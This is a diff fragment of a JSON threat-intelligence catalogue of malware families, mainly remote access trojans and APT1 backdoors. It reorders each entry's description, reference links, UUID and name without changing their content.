- "uuid": "3edd9d1b-e15d-4411-a67f-01e04701e95d"
+ "uuid": "3edd9d1b-e15d-4411-a67f-01e04701e95d",
+ "value": "hawkeye"
},
{
+ "description": "Remote Access Trojan",
"meta": {
"refs": [
"https://github.com/kevthehermit/RATDecoders"
@@ -2015,11 +2025,11 @@
"Backdoor"
]
},
- "description": "Remote Access Trojan",
- "value": "javadropper",
- "uuid": "3a80cc5e-ae91-4aa4-aa2b-8f538861acbe"
+ "uuid": "3a80cc5e-ae91-4aa4-aa2b-8f538861acbe",
+ "value": "javadropper"
},
{
+ "description": "Remote Access Trojan",
"meta": {
"refs": [
"https://github.com/kevthehermit/RATDecoders"
@@ -2028,11 +2038,11 @@
"Backdoor"
]
},
- "description": "Remote Access Trojan",
- "value": "lostdoor",
- "uuid": "3fcebce8-fb31-4edb-ae88-7fb0d90d440c"
+ "uuid": "3fcebce8-fb31-4edb-ae88-7fb0d90d440c",
+ "value": "lostdoor"
},
{
+ "description": "Remote Access Trojan",
"meta": {
"refs": [
"https://github.com/kevthehermit/RATDecoders"
@@ -2041,11 +2051,11 @@
"Backdoor"
]
},
- "description": "Remote Access Trojan",
- "value": "luxnet",
- "uuid": "df6ccb07-a26c-427a-9d93-5fed2609a1d4"
+ "uuid": "df6ccb07-a26c-427a-9d93-5fed2609a1d4",
+ "value": "luxnet"
},
{
+ "description": "Remote Access Trojan",
"meta": {
"refs": [
"https://github.com/kevthehermit/RATDecoders"
@@ -2054,11 +2064,11 @@
"Backdoor"
]
},
- "description": "Remote Access Trojan",
- "value": "pandora",
- "uuid": "2c215062-5739-4859-bd82-9639ae1d1756"
+ "uuid": "2c215062-5739-4859-bd82-9639ae1d1756",
+ "value": "pandora"
},
{
+ "description": "Remote Access Trojan",
"meta": {
"refs": [
"https://github.com/kevthehermit/RATDecoders"
@@ -2067,11 +2077,11 @@
"Backdoor"
]
},
- "description": "Remote Access Trojan",
- "value": "poisonivy",
- "uuid": "e336aeba-b61a-44e0-a0df-cd52a5839db5"
+ "uuid": "e336aeba-b61a-44e0-a0df-cd52a5839db5",
+ "value": "poisonivy"
},
{
+ "description": "Remote Access Trojan",
"meta": {
"refs": [
"https://github.com/kevthehermit/RATDecoders"
@@ -2080,11 +2090,11 @@
"Backdoor"
]
},
- "description": "Remote Access Trojan",
- "value": "predatorpain",
- "uuid": "6762975d-ddbc-4871-ab14-4796c9f38307"
+ "uuid": "6762975d-ddbc-4871-ab14-4796c9f38307",
+ "value": "predatorpain"
},
{
+ "description": "Remote Access Trojan",
"meta": {
"refs": [
"https://github.com/kevthehermit/RATDecoders"
@@ -2093,11 +2103,11 @@
"Backdoor"
]
},
- "description": "Remote Access Trojan",
- "value": "punisher",
- "uuid": "0d8d212a-d327-406e-8954-5b20158a9966"
+ "uuid": "0d8d212a-d327-406e-8954-5b20158a9966",
+ "value": "punisher"
},
{
+ "description": "Remote Access Trojan",
"meta": {
"refs": [
"https://github.com/kevthehermit/RATDecoders"
@@ -2106,11 +2116,11 @@
"Backdoor"
]
},
- "description": "Remote Access Trojan",
- "value": "qrat",
- "uuid": "c3a784ee-cef7-4604-a5ba-ec7b193a5152"
+ "uuid": "c3a784ee-cef7-4604-a5ba-ec7b193a5152",
+ "value": "qrat"
},
{
+ "description": "Remote Access Trojan",
"meta": {
"refs": [
"https://github.com/kevthehermit/RATDecoders"
@@ -2119,11 +2129,11 @@
"Backdoor"
]
},
- "description": "Remote Access Trojan",
- "value": "shadowtech",
- "uuid": "d5e53ee4-1114-4801-83c9-58c633049aff"
+ "uuid": "d5e53ee4-1114-4801-83c9-58c633049aff",
+ "value": "shadowtech"
},
{
+ "description": "Remote Access Trojan",
"meta": {
"refs": [
"https://github.com/kevthehermit/RATDecoders"
@@ -2132,11 +2142,11 @@
"Backdoor"
]
},
- "description": "Remote Access Trojan",
- "value": "smallnet",
- "uuid": "73ee15e9-ffb3-496d-ae65-fad50e675bdd"
+ "uuid": "73ee15e9-ffb3-496d-ae65-fad50e675bdd",
+ "value": "smallnet"
},
{
+ "description": "Remote Access Trojan",
"meta": {
"refs": [
"https://github.com/kevthehermit/RATDecoders"
@@ -2145,11 +2155,11 @@
"Backdoor"
]
},
- "description": "Remote Access Trojan",
- "value": "spygate",
- "uuid": "408ff7f3-f30c-481f-a3e7-2c69b375f7d9"
+ "uuid": "408ff7f3-f30c-481f-a3e7-2c69b375f7d9",
+ "value": "spygate"
},
{
+ "description": "Remote Access Trojan",
"meta": {
"refs": [
"https://github.com/kevthehermit/RATDecoders"
@@ -2158,11 +2168,11 @@
"Backdoor"
]
},
- "description": "Remote Access Trojan",
- "value": "template",
- "uuid": "244be9e7-4f68-4fd8-9abd-ee6ca591aa00"
+ "uuid": "244be9e7-4f68-4fd8-9abd-ee6ca591aa00",
+ "value": "template"
},
{
+ "description": "Remote Access Trojan",
"meta": {
"refs": [
"https://github.com/kevthehermit/RATDecoders"
@@ -2171,11 +2181,11 @@
"Backdoor"
]
},
- "description": "Remote Access Trojan",
- "value": "tapaoux",
- "uuid": "b7b4c682-090b-4da2-abc2-541fd3157579"
+ "uuid": "b7b4c682-090b-4da2-abc2-541fd3157579",
+ "value": "tapaoux"
},
{
+ "description": "Remote Access Trojan",
"meta": {
"refs": [
"https://github.com/kevthehermit/RATDecoders"
@@ -2184,11 +2194,11 @@
"Backdoor"
]
},
- "description": "Remote Access Trojan",
- "value": "vantom",
- "uuid": "aba90e76-ce56-4660-a498-90eeb1f0195b"
+ "uuid": "aba90e76-ce56-4660-a498-90eeb1f0195b",
+ "value": "vantom"
},
{
+ "description": "Remote Access Trojan",
"meta": {
"refs": [
"https://github.com/kevthehermit/RATDecoders"
@@ -2197,11 +2207,11 @@
"Backdoor"
]
},
- "description": "Remote Access Trojan",
- "value": "virusrat",
- "uuid": "aa054c62-3595-4c65-97ee-209029cc6004"
+ "uuid": "aa054c62-3595-4c65-97ee-209029cc6004",
+ "value": "virusrat"
},
{
+ "description": "Remote Access Trojan",
"meta": {
"refs": [
"https://github.com/kevthehermit/RATDecoders"
@@ -2210,11 +2220,11 @@
"Backdoor"
]
},
- "description": "Remote Access Trojan",
- "value": "xena",
- "uuid": "87596188-4c1f-494c-8713-21d5fa062580"
+ "uuid": "87596188-4c1f-494c-8713-21d5fa062580",
+ "value": "xena"
},
{
+ "description": "Remote Access Trojan",
"meta": {
"refs": [
"https://github.com/kevthehermit/RATDecoders"
@@ -2223,11 +2233,11 @@
"Backdoor"
]
},
- "description": "Remote Access Trojan",
- "value": "xtreme",
- "uuid": "2d4e2910-4b25-4562-ad88-b35dd678a117"
+ "uuid": "2d4e2910-4b25-4562-ad88-b35dd678a117",
+ "value": "xtreme"
},
{
+ "description": "Remote Access Trojan",
"meta": {
"refs": [
"https://github.com/kevthehermit/RATDecoders"
@@ -2236,11 +2246,11 @@
"Backdoor"
]
},
- "description": "Remote Access Trojan",
- "value": "darkddoser",
- "uuid": "505629dc-6b81-424e-a452-164629a7a66f"
+ "uuid": "505629dc-6b81-424e-a452-164629a7a66f",
+ "value": "darkddoser"
},
{
+ "description": "Remote Access Trojan",
"meta": {
"refs": [
"https://github.com/kevthehermit/RATDecoders"
@@ -2249,11 +2259,11 @@
"Backdoor"
]
},
- "description": "Remote Access Trojan",
- "value": "jspy",
- "uuid": "8abd10df-2c31-4895-8ec1-270603078f47"
+ "uuid": "8abd10df-2c31-4895-8ec1-270603078f47",
+ "value": "jspy"
},
{
+ "description": "Remote Access Trojan",
"meta": {
"refs": [
"https://github.com/kevthehermit/RATDecoders"
@@ -2262,61 +2272,61 @@
"Backdoor"
]
},
- "description": "Remote Access Trojan",
- "value": "xrat",
- "uuid": "c76e2ee8-52d1-4a55-81df-5542d232ca32"
+ "uuid": "c76e2ee8-52d1-4a55-81df-5542d232ca32",
+ "value": "xrat"
},
{
+ "description": "Pupy is an opensource, cross-platform (Windows, Linux, OSX, Android) remote administration and post-exploitation tool mainly written in python.",
"meta": {
"refs": [
"https://github.com/n1nj4sec/pupy"
]
},
- "description": "Pupy is an opensource, cross-platform (Windows, Linux, OSX, Android) remote administration and post-exploitation tool mainly written in python.",
- "value": "PupyRAT",
- "uuid": "4d6dec19-b0bc-4698-87ed-272823c45d95"
+ "uuid": "4d6dec19-b0bc-4698-87ed-272823c45d95",
+ "value": "PupyRAT"
},
{
+ "description": "Linux Arm malware spread via RFIs in cgi-bin scripts. This backdoor executes commands from a remote malicious user, effectively compromising the affected system. It connects to a website to send and receive information.",
"meta": {
"refs": [
"https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/elf_imeij.a"
]
},
- "description": "Linux Arm malware spread via RFIs in cgi-bin scripts. This backdoor executes commands from a remote malicious user, effectively compromising the affected system. It connects to a website to send and receive information.",
- "value": "ELF_IMEIJ",
- "uuid": "acb6ae45-d4e2-48a1-ab72-86e72004c27a"
+ "uuid": "acb6ae45-d4e2-48a1-ab72-86e72004c27a",
+ "value": "ELF_IMEIJ"
},
{
+ "description": "KHRAT is a small backdoor that has three exports (functions), namely, K1, K2, and K3. K1 checks if the current user is an administrator. If not, it uninstalls itself by calling the K2 function.",
"meta": {
"refs": [
"https://blogs.forcepoint.com/security-labs/trojanized-adobe-installer-used-install-dragonok%E2%80%99s-new-custom-backdoor"
]
},
- "description": "KHRAT is a small backdoor that has three exports (functions), namely, K1, K2, and K3. K1 checks if the current user is an administrator. If not, it uninstalls itself by calling the K2 function.",
- "value": "KHRAT",
- "uuid": "72b702d9-43c3-40b9-b004-8d0671225fb8"
+ "uuid": "72b702d9-43c3-40b9-b004-8d0671225fb8",
+ "value": "KHRAT"
},
{
+ "description": "The Trochilus RAT is a threatening RAT (Remote Access Trojan) that may evade many anti-virus programs. The Trochilus RAT is currently being used as part of an extended threat campaign in South East Asia. The first appearance of the Trochilus RAT in this campaign, which has been active since August of 2015, was first detected in the summer of 2015. The Trochilus RAT is currently being used against civil society organizations and government computers in the South East Asia region, particularly in attacks directed towards the government of Myanmar.",
"meta": {
"refs": [
"http://www.enigmasoftware.com/trochilusrat-removal/"
]
},
- "description": "The Trochilus RAT is a threatening RAT (Remote Access Trojan) that may evade many anti-virus programs. The Trochilus RAT is currently being used as part of an extended threat campaign in South East Asia. The first appearance of the Trochilus RAT in this campaign, which has been active since August of 2015, was first detected in the summer of 2015. The Trochilus RAT is currently being used against civil society organizations and government computers in the South East Asia region, particularly in attacks directed towards the government of Myanmar.",
- "value": "Trochilus",
- "uuid": "5e15e4ca-0e04-4af1-ab2a-779dbcad545d"
+ "uuid": "5e15e4ca-0e04-4af1-ab2a-779dbcad545d",
+ "value": "Trochilus"
},
{
+ "description": "The MoonWind sample used for this analysis was compiled with a Chinese compiler known as BlackMoon, the same compiler used for the BlackMoon banking Trojan. While a number of attributes match the BlackMoon banking Trojan, the malware is not the same. Both malware families were simply compiled using the same compiler, and it was the BlackMoon artifacts that resulted in the naming of the BlackMoon banking Trojan. But because this new sample is different from the BlackMoon banking Trojan,",
"meta": {
"refs": [
"http://researchcenter.paloaltonetworks.com/2017/03/unit42-trochilus-rat-new-moonwind-rat-used-attack-thai-utility-organizations/"
]
},
- "description": "The MoonWind sample used for this analysis was compiled with a Chinese compiler known as BlackMoon, the same compiler used for the BlackMoon banking Trojan. While a number of attributes match the BlackMoon banking Trojan, the malware is not the same. Both malware families were simply compiled using the same compiler, and it was the BlackMoon artifacts that resulted in the naming of the BlackMoon banking Trojan. But because this new sample is different from the BlackMoon banking Trojan,",
- "value": "MoonWind",
- "uuid": "76ec1827-68a1-488f-9899-2b788ea8db64"
+ "uuid": "76ec1827-68a1-488f-9899-2b788ea8db64",
+ "value": "MoonWind"
},
{
+ "description": "Chrysaor is spyware believed to be created by NSO Group Technologies, specializing in the creation and sale of software and infrastructure for targeted attacks. Chrysaor is believed to be related to the Pegasus spyware that was first identified on iOS and analyzed by Citizen Lab and Lookout.",
"meta": {
"refs": [
"https://security.googleblog.com/2017/04/an-investigation-of-chrysaor-malware-on.html"
@@ -2326,82 +2336,82 @@
"Pegasus spyware"
]
},
- "description": "Chrysaor is spyware believed to be created by NSO Group Technologies, specializing in the creation and sale of software and infrastructure for targeted attacks. Chrysaor is believed to be related to the Pegasus spyware that was first identified on iOS and analyzed by Citizen Lab and Lookout.",
- "value": "Chrysaor",
- "uuid": "9d7c772b-43f1-49cf-bc70-7a7cd2ed34c8"
+ "uuid": "9d7c772b-43f1-49cf-bc70-7a7cd2ed34c8",
+ "value": "Chrysaor"
},
{
+ "description": "The trojan serves as a backdoor. It can be controlled remotely.",
"meta": {
"refs": [
"http://virusradar.com/en/Win32_Sathurbot.A/description",
"https://www.welivesecurity.com/2017/04/06/sathurbot-distributed-wordpress-password-attack/"
]
},
- "description": "The trojan serves as a backdoor. It can be controlled remotely.",
- "value": "Sathurbot",
- "uuid": "35849d8f-5bac-475b-82f8-7d555f37de12"
+ "uuid": "35849d8f-5bac-475b-82f8-7d555f37de12",
+ "value": "Sathurbot"
},
{
- "meta": {
- "refs": [
- "http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html"
- ]
- },
"description": "The AURIGA malware family shares a large amount of functionality with the BANGAT backdoor. The malware family contains functionality for keystroke logging, creating and killing processes, performing file system and registry modifications, spawning interactive command shells, performing process injection, logging off the current user or shutting down the local machine. The AURIGA malware contains a driver component which is used to inject the malware DLL into other processes. This driver can also perform process and IP connection hiding. The malware family will create a copy of cmd.exe to perform its C2 activity, and replace the \"Microsoft corp\" strings in the cmd.exe binary with different values. The malware family typically maintains persistence through installing itself as a service.",
- "value": "AURIGA",
- "uuid": "316c87d4-4404-42ab-9887-f9e321aed93c"
- },
- {
"meta": {
"refs": [
"http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html"
]
},
+ "uuid": "316c87d4-4404-42ab-9887-f9e321aed93c",
+ "value": "AURIGA"
+ },
+ {
"description": "The BANGAT malware family shares a large amount of functionality with the AURIGA backdoor. The malware family contains functionality for keylogging, creating and killing processes, performing filesystem and registry modifications, spawning interactive command shells, performing process injection, logging off the current user or shutting down the local machine. In addition, the malware also implements a custom VNC like protocol which sends screenshots of the desktop to the C2 server and accepts keyboard and mouse input. The malware communicates to its C2 servers using SSL, with self signed SSL certificates. The malware family will create a copy of cmd.exe to perform its C2 activity, and replace the \"Microsoft corp\" strings in the cmd.exe binary with different values. The malware family typically maintains persistence through installing itself as a service.",
- "value": "BANGAT",
- "uuid": "fa9b2176-1248-4d59-8da2-c31c7501a81d"
- },
- {
"meta": {
"refs": [
"http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html"
]
},
+ "uuid": "fa9b2176-1248-4d59-8da2-c31c7501a81d",
+ "value": "BANGAT"
+ },
+ {
"description": "BISCUIT provides attackers with full access to an infected host. BISCUIT capabilities include launching an interactive command shell, enumerating servers on a Windows network, enumerating and manipulating process, and transferring files. BISCUIT communicates using a custom protocol, which is then encrypted using SSL. Once installed BISCUIT will attempt to beacon to its command/control servers approximately every 10 or 30 minutes. It will beacon its primary server first, followed by a secondary server. All communication is encrypted with SSL (OpenSSL 0.9.8i).",
- "value": "BISCUIT",
- "uuid": "f1e05a12-ca50-41ab-a963-d7df5bcb141d"
- },
- {
"meta": {
"refs": [
"http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html"
]
},
+ "uuid": "f1e05a12-ca50-41ab-a963-d7df5bcb141d",
+ "value": "BISCUIT"
+ },
+ {
"description": "BOUNCER will load an extracted DLL into memory, and then will call the DLL's dump export. The dump export is called with the parameters passed via the command line to the BOUNCER executable. It requires at least two arguments, the IP and port to send the password dump information. It can accept at most five arguments, including a proxy IP, port and an x.509 key for SSL authentication. The DLL backdoor has the capability to execute arbitrary commands, collect database and server information, brute force SQL login credentials, launch arbitrary programs, create processes and threads, delete files, and redirect network traffic.",
- "value": "BOUNCER",
- "uuid": "52d9a474-fc37-48b5-8e39-4394194b9573"
- },
- {
"meta": {
"refs": [
"http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html"
]
},
+ "uuid": "52d9a474-fc37-48b5-8e39-4394194b9573",
+ "value": "BOUNCER"
+ },
+ {
"description": "This family of malware uses Google Calendar to retrieve commands and send results. It retrieves event feeds associated with Google Calendar, where each event contains commands from the attacker for the malware to perform. Results are posted back to the event feed. The malware authenticates with Google using the hard coded email address and passwords. The malware uses the deprecated ClientLogin authentication API from Google. The malware is registered as a service dll as a persistence mechanism. Artifacts of this may be found in the registry.",
- "value": "CALENDAR",
- "uuid": "e2c18713-0a95-4092-a0e9-76358512daad"
- },
- {
"meta": {
"refs": [
"http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html"
]
},
- "description": "The COMBOS malware family is an HTTP based backdoor. The backdoor is capable of file upload, file download, spawning a interactive reverse shell, and terminating its own process. The backdoor may decrypt stored Internet Explorer credentials from the local system and transmit the credentials to the C2 server. The COMBOS malware family does not have any persistence mechanisms built into itself.",
- "value": "COMBOS",
- "uuid": "fa38b79c-9774-45a0-831c-24c6c8d39a22"
+ "uuid": "e2c18713-0a95-4092-a0e9-76358512daad",
+ "value": "CALENDAR"
},
{
+ "description": "The COMBOS malware family is an HTTP based backdoor. The backdoor is capable of file upload, file download, spawning a interactive reverse shell, and terminating its own process. The backdoor may decrypt stored Internet Explorer credentials from the local system and transmit the credentials to the C2 server. The COMBOS malware family does not have any persistence mechanisms built into itself.",
+ "meta": {
+ "refs": [
+ "http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html"
+ ]
+ },
+ "uuid": "fa38b79c-9774-45a0-831c-24c6c8d39a22",
+ "value": "COMBOS"
+ },
+ {
+ "description": "his family of malware is a backdoor capable of file upload and download as well as providing remote interactive shell access to the compromised machine. Communication with the Command & Control (C2) servers uses a combination of single-byte XOR and Base64 encoded data in the Cookie and Set-Cookie HTTP header fields. Communication with the C2 servers is over port 80. Some variants install a registry key as means of a persistence mechanism. The hardcoded strings cited include a string of a command in common with several other APT1 families.",
"meta": {
"refs": [
"http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html"
@@ -2410,41 +2420,41 @@
"TROJAN.COOKIES"
]
},
- "description": "his family of malware is a backdoor capable of file upload and download as well as providing remote interactive shell access to the compromised machine. Communication with the Command & Control (C2) servers uses a combination of single-byte XOR and Base64 encoded data in the Cookie and Set-Cookie HTTP header fields. Communication with the C2 servers is over port 80. Some variants install a registry key as means of a persistence mechanism. The hardcoded strings cited include a string of a command in common with several other APT1 families.",
- "value": "COOKIEBAG",
- "uuid": "63be3d30-0c8d-4c0a-8eee-6c96880734cb"
+ "uuid": "63be3d30-0c8d-4c0a-8eee-6c96880734cb",
+ "value": "COOKIEBAG"
},
{
- "meta": {
- "refs": [
- "http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html"
- ]
- },
"description": "Members of this malware family are backdoors that provide file downloading, process listing, process killing, and reverse shell capabilities. This malware may also add itself to the Authorized Applications list for the Windows Firewall.",
- "value": "DAIRY",
- "uuid": "2a56538f-7c21-44b3-b438-5baa025ed005"
- },
- {
"meta": {
"refs": [
"http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html"
]
},
+ "uuid": "2a56538f-7c21-44b3-b438-5baa025ed005",
+ "value": "DAIRY"
+ },
+ {
"description": "Members of this family of malware are utilities designed to extract email messages and attachments from Outlook PST files. One part of this utility set is an executable, one is a dll. The malware may create a registry artifact related to the executable.",
- "value": "GETMAIL",
- "uuid": "5abd7dee-cca1-4bee-9b82-da3f9be2970b"
- },
- {
"meta": {
"refs": [
"http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html"
]
},
- "description": "This family of malware is a utility designed to upload files to Google Docs. Nearly all communications are with docs.google.com are SSL encrypted. The malware does not use Google's published API to interact with their services. The malware does not currently work with Google Docs. It does not detect HTTP 302 redirections and will get caught in an infinite loop attempting to parse results from Google that are not present.",
- "value": "GDOCUPLOAD",
- "uuid": "4bb4320f-9379-43ba-ba8c-09dfece39000"
+ "uuid": "5abd7dee-cca1-4bee-9b82-da3f9be2970b",
+ "value": "GETMAIL"
},
{
+ "description": "This family of malware is a utility designed to upload files to Google Docs. Nearly all communications are with docs.google.com are SSL encrypted. The malware does not use Google's published API to interact with their services. The malware does not currently work with Google Docs. It does not detect HTTP 302 redirections and will get caught in an infinite loop attempting to parse results from Google that are not present.",
+ "meta": {
+ "refs": [
+ "http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html"
+ ]
+ },
+ "uuid": "4bb4320f-9379-43ba-ba8c-09dfece39000",
+ "value": "GDOCUPLOAD"
+ },
+ {
+ "description": "GLOOXMAIL communicates with Google's Jabber/XMPP servers and authenticates with a hard-coded username and password. The malware can accept commands over XMPP that includes file upload and download, provide a remote shell, sending process listings, and terminating specified processes. The malware makes extensive use of the open source gloox library (http://camaya.net/gloox/, version 0.9.9.12) to communicate using the Jabber/XMPP protocol. All communications with the Google XMPP server are encrypted.",
"meta": {
"refs": [
"http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html"
@@ -2453,11 +2463,11 @@
"TROJAN.GTALK"
]
},
- "description": "GLOOXMAIL communicates with Google's Jabber/XMPP servers and authenticates with a hard-coded username and password. The malware can accept commands over XMPP that includes file upload and download, provide a remote shell, sending process listings, and terminating specified processes. The malware makes extensive use of the open source gloox library (http://camaya.net/gloox/, version 0.9.9.12) to communicate using the Jabber/XMPP protocol. All communications with the Google XMPP server are encrypted.",
- "value": "GLOOXMAIL",
- "uuid": "a379f09b-5cec-4bdb-9735-125cef2de073"
+ "uuid": "a379f09b-5cec-4bdb-9735-125cef2de073",
+ "value": "GLOOXMAIL"
},
{
+ "description": "A family of downloader malware, that retrieves an encoded payload from a fixed location, usually in the form of a file with the .jpg extension. Some variants have just an .exe that acts as a downloader, others have an .exe launcher that runs as a service and then loads an associated .dll of the same name that acts as the downloader. This IOC is targeted at the downloaders only. After downloading the file, the malware decodes the downloaded payload into an .exe file and launches it. The malware usually stages the files it uses in the %TEMP% directory or the %WINDIR%\\Temp directory.",
"meta": {
"refs": [
"http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html"
@@ -2466,152 +2476,152 @@
"TROJAN.FOXY"
]
},
- "description": "A family of downloader malware, that retrieves an encoded payload from a fixed location, usually in the form of a file with the .jpg extension. Some variants have just an .exe that acts as a downloader, others have an .exe launcher that runs as a service and then loads an associated .dll of the same name that acts as the downloader. This IOC is targeted at the downloaders only. After downloading the file, the malware decodes the downloaded payload into an .exe file and launches it. The malware usually stages the files it uses in the %TEMP% directory or the %WINDIR%\\Temp directory.",
- "value": "GOGGLES",
- "uuid": "4bc55eb3-7c92-4668-a75a-d5e291387613"
+ "uuid": "4bc55eb3-7c92-4668-a75a-d5e291387613",
+ "value": "GOGGLES"
},
{
- "meta": {
- "refs": [
- "http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html"
- ]
- },
"description": "Members of this family are full featured backdoors that communicates with a Web-based Command & Control (C2) server over SSL. Features include interactive shell, gathering system info, uploading and downloading files, and creating and killing processes, Malware in this family usually communicates with a hard-coded domain using SSL on port 443. Some members of this family rely on launchers to establish persistence mechanism for them. Others contains functionality that allows it to install itself, replacing an existing Windows service, and uninstall itself. Several variants use %SystemRoot%\\Tasks or %WinDir%\\Tasks as working directories, additional malware artifacts may be found there.",
- "value": "GREENCAT",
- "uuid": "21a1d15c-acdd-49d1-aa8e-8d5b311024f0"
- },
- {
"meta": {
"refs": [
"http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html"
]
},
+ "uuid": "21a1d15c-acdd-49d1-aa8e-8d5b311024f0",
+ "value": "GREENCAT"
+ },
+ {
"description": " This family of malware is a backdoor that provides reverse shell, process creation, system statistics collection, process enumeration, and process termination capabilities. This family is designed to be a service DLL and does not contain an installation mechanism. It usually communicates over port 443. Some variants use their own encryption, others use SSL.",
- "value": "HACKFASE",
- "uuid": "aef3e40b-d295-4663-a2d0-585512b3ae44"
- },
- {
"meta": {
"refs": [
"http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html"
]
},
+ "uuid": "aef3e40b-d295-4663-a2d0-585512b3ae44",
+ "value": "HACKFASE"
+ },
+ {
"description": " This family of malware is designed to operate as a service and provides remote command execution and file transfer capabilities to a fixed IP address or domain name. All communication with the C2 server happens over port 443 using SSL. This family can be installed as a service DLL. Some variants allow for uninstallation.",
- "value": "HELAUTO",
- "uuid": "7c05c816-481f-499e-9545-d48b635dc2eb"
- },
- {
"meta": {
"refs": [
"http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html"
]
},
+ "uuid": "7c05c816-481f-499e-9545-d48b635dc2eb",
+ "value": "HELAUTO"
+ },
+ {
"description": "This family of malware is a backdoor that tunnels its connection through a preconfigured proxy. The malware communicates with a remote command and control server over HTTPS via the proxy. The malware installs itself as a Windows service with a service name supplied by the attacker but defaults to IPRIP if no service name is provided during install.",
- "value": "KURTON",
- "uuid": "616c7c32-110e-4bb3-8e99-4c2aeb8f8272"
- },
- {
"meta": {
"refs": [
"http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html"
]
},
+ "uuid": "616c7c32-110e-4bb3-8e99-4c2aeb8f8272",
+ "value": "KURTON"
+ },
+ {
"description": "LIGHTBOLT is a utility with the ability to perform HTTP GET requests for a list of user-specified URLs. The responses of the HTTP requests are then saved as MHTML files, which are added to encrypted RAR files. LIGHTBOLT has the ability to use software certificates for authentication.",
- "value": "LIGHTBOLT",
- "uuid": "57e43779-0665-427c-abcb-997c1c0ced8d"
- },
- {
"meta": {
"refs": [
"http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html"
]
},
+ "uuid": "57e43779-0665-427c-abcb-997c1c0ced8d",
+ "value": "LIGHTBOLT"
+ },
+ {
"description": "LIGHTDART is a tool used to access a pre-configured web page that hosts an interface to query a database or data set. The tool then downloads the results of a query against that web page to an encrypted RAR file. This RAR file (1.rar) is renamed and uploaded to an attacker controlled FTP server, or uploaded via an HTTP POST with a .jpg extension. The malware will execute this search once a day. The target webpage usually contains information useful to the attacker, which is updated on a regular basis. Examples of targeted information include weather information or ship coordinates.",
- "value": "LIGHTDART",
- "uuid": "986f6b0f-51f8-4f83-bb38-8354a83a7f32"
- },
- {
"meta": {
"refs": [
"http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html"
]
},
+ "uuid": "986f6b0f-51f8-4f83-bb38-8354a83a7f32",
+ "value": "LIGHTDART"
+ },
+ {
"description": "LONGRUN is a backdoor designed to communicate with a hard-coded IP address and provide the attackers with a custom interactive shell. It supports file uploads and downloads, and executing arbitrary commands on the compromised machine. When LONGRUN executes, it first loads configuration data stored as an obfuscated string inside the PE resource section. The distinctive string thequickbrownfxjmpsvalzydg is used as part of the input to the decoding algorithm. When the configuration data string is decoded it is parsed and treated as an IP and port number. The malware then connects to the host and begins interacting with it over a custom protocol.",
- "value": "LONGRUN",
- "uuid": "5a2fc164-f6cf-4528-b85f-f2319545c8ad"
- },
- {
"meta": {
"refs": [
"http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html"
]
},
- "description": "This family of malware will beacon out at random intervals to the remote attacker. The attacker can run programs, execute arbitrary commands, and easily upload and download files. This IOC looks for both the dropper file and the backdoor.",
- "value": "MANITSME",
- "uuid": "25db921d-d753-4fb1-b51b-961d7fdae6f4"
+ "uuid": "5a2fc164-f6cf-4528-b85f-f2319545c8ad",
+ "value": "LONGRUN"
},
{
+ "description": "This family of malware will beacon out at random intervals to the remote attacker. The attacker can run programs, execute arbitrary commands, and easily upload and download files. This IOC looks for both the dropper file and the backdoor.",
+ "meta": {
+ "refs": [
+ "http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html"
+ ]
+ },
+ "uuid": "25db921d-d753-4fb1-b51b-961d7fdae6f4",
+ "value": "MANITSME"
+ },
+ {
+ "description": "This malware utility is a set of two files that operate in conjunction to extract email messages and attachments from an Exchange server. In order to operate successfully, these programs require authentication credentials for a user on the Exchange server, and must be run from a machine joined to the domain that has Microsoft Outlook installed (or equivalent software that provides the Microsoft 'Messaging API' (MAPI) service).",
"meta": {
"refs": [
"http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html",
"http://contagiodump.blogspot.com/2010/06/these-days-i-see-spike-in-number-of.html"
]
},
- "description": "This malware utility is a set of two files that operate in conjunction to extract email messages and attachments from an Exchange server. In order to operate successfully, these programs require authentication credentials for a user on the Exchange server, and must be run from a machine joined to the domain that has Microsoft Outlook installed (or equivalent software that provides the Microsoft 'Messaging API' (MAPI) service).",
- "value": "MAPIGET",
- "uuid": "bf08965f-03a5-4cf6-83fb-8d3c9e9398ee"
+ "uuid": "bf08965f-03a5-4cf6-83fb-8d3c9e9398ee",
+ "value": "MAPIGET"
},
{
- "meta": {
- "refs": [
- "http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html"
- ]
- },
"description": "This family of malware consists of backdoors that attempt to fetch encoded commands over HTTP. The malware is capable of downloading a file, downloading and executing a file, executing arbitrary shell commands, or sleeping a specified interval.",
- "value": "MINIASP",
- "uuid": "ea9c7068-1c28-4826-a7d1-7ac04760e5c9"
- },
- {
"meta": {
"refs": [
"http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html"
]
},
+ "uuid": "ea9c7068-1c28-4826-a7d1-7ac04760e5c9",
+ "value": "MINIASP"
+ },
+ {
